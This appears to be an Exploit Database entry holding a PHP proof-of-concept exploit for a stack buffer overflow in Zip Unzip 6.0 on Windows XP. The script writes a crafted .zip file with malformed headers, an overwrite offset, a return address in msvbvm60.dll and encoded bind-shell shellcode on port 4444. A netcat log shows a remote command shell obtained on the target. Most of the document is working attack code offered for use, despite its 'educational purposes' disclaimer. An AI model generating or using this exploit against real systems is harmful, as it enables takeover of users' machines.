Zip Unzip 6.0 – ‘.zip’ Local Stack Buffer Overflow

Exploit Database
104 阅读

作者： mr_me

日期： 2010-04-03
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/12024/

<?php

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Zip Unzip v6 (.zip) 0day stack buffer overflow PoC exploit

Author: mr_me - http://net-ninja.net/

Download: http://www.microviet.com/modules/freesoftware/

Platform: Windows XP sp3

Greetz to: Corelan Security Team & fl0 fl0w

http://www.corelan.be:8800/index.php/security/corelan-team-members/

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Script provided 'as is', without any warranty.

Use for educational purposes only.

Do not use this code to do anything illegal !

Note : you are not allowed to edit/modify this code.

If you do, Corelan cannot be held responsible for any damages this may cause.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Sorry, not universal.. any ppr from the target application uses 0x01 which

kills our ascii buffer. ..Enjoy.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

mrme@backtrack:~$ nc -v 192.168.1.3 4444

192.168.1.3: inverse host lookup failed: Unknown server error : Connection timed out

(UNKNOWN) [192.168.1.3] 4444 (?) open

Microsoft Windows XP [Version 5.1.2600]

G:\0day\zip0day>

// local file header

$lf_header = "\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00";

// central directory file header

$cdf_header = "\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00".

"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00".

"\x24\x00\x00\x00\x00\x00\x00\x00";

// end of central directory record

$efcdr_record = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00".

"\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00";

// bind shell on port 4444, edx as base reg

$______sc = "JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI8kWssixkDExhZXkOyoKO0OaYri".

"aY3yQYW9rqQJPV3d68efEcfPPVpXDtQQTpQRUfRhw8dpQRTsFPw2QSpV3hUb0Bw4QR0H4tqQP2QQ2d4paQctR".

"tQRqTRqsr6PqQw4SqpVpX4tRz4xsrbd0JPOpMpNRobldvbkrnPOrdPJPN1Y0OBopOroPOpO2oQRpVPK0XBnsf".

"qVp2rf4rpKVXqUstRnssBkShBn1W0ErpaZCgRapPpOpNrkwH0OdtPJg1RkpXPOpUsrRr1QTprk2n1SPNg2Bss".

"yRtPKTxQVQC0KPXG1tpV0RnraUcQRBlG9VYRnrjrfv8crpL3vpWQWp0cqPLpL0LpMPP1QvPRdRl2kpNcvPORk".

"WCSvpUg6CrqZqRcuPWSsbn0K1HboPUSvpRsqrpBkPNW8tvPKv82npPpKEd0K0HpO3eBnSqqQVP0KPNPCdpPNp".

"RrkW8RivXPNtvpFW2RncqqQSfSspLQQ2cg2rlsv2fpK2hqRcdCr7CpKpXW2aT2npPrkVX3raWRnra0MpJPK2h".

"72Cd1Z2p60Ue3zW6V0V8bpW4RppPrnrnSrDuRoPO1XPMsqrspKPM0HufpCseQXPVCzFVrcucRdP3pJf6QWbg7".

"3PGstP3PO0U1V65ro2opBRmQZrvbkpLbmRnpNRoPKpSW2aUPOBo78bmPOvUcyaX75PNrhrv3qw8rmpN3zBpW4".

"TpsupUpLPFCtRpRopOQRrmszvVSypMRiPPQUpO0MszW71ERoBoqXPMSsW52cPEQSpUSspUQSbessfTw3RebcU".

"dssTu2o2o1R2m1XrvPJ66QQCqPNvUCxp6ssp5rivXCq0Nw5RipJQVPFQZ2lPQW2v777pLswburoroQXpMpLP6".

"SrUaqQReg57EbopOaRPMpJtvCvpJPMrjBpw2cypNPG2upOBoqXpMPCwEpE5eRoRoqRPMpJP6w50Nri0DQXehq".

"YpT1WRupObo78PM2bbu3veesvReG5duPOpO1RbmQSg90J2vcwrn1YVW2hrlg9GGW7RePOpOBh0MG52uRoRo1R".

"2mW8EfpLPV0FaVpHwFaZcvcspVPMBvw9P8pEPNblpV2bqEQYseG9pRrnblSy2hw7PNRl5fCvRtw9V8qTPNsqp".

"CaRPLg3POPLqZ2ppOpDRt2mdrBpPO3tBt2nSbrc1YpMshpL1WPJpS0KpJ0KpJ0KSzczSvQTaG0P0ObcpKBhpQ".

"PORoqUF72fRtbopOCx0MpKcug7fUSt6U3qwESqQEqQuepLBfrapPqQFUbaSuSuVUaQQUbo0O1RrmQZ2v0MRj2".

"iBmaUTpf0PLPCvUpORoaX0Mrlv6roPOroBo0GFSRoro2bRmRkChcwg5PN0OSsVX0FPLsvefPOro3xpMrdRupO".

"pOSrbm3z4vPOrn60PLpB2n3rUfSs2u0OroQXPMPO0OqRRm2zA";

$___offset = 4064;

$___exploit = str_repeat("\x41",39).

"\x73\x07\x41\x41".

"\x76\x50\x47\x73". // 0x73475076 [msvbvm60.dll]

str_repeat("\x61",32).

str_repeat("\x5a",2).

str_repeat("\x43",510).

$______sc;

$___exploit .=

str_repeat("\x43",$___offset-strlen($___exploit)).

"\x2e\x74\x78\x74";

$_____b00m = $lf_header.$___exploit.$cdf_header.$___exploit.$efcdr_record;

file_put_contents("cst-zipunzip.zip",$_____b00m);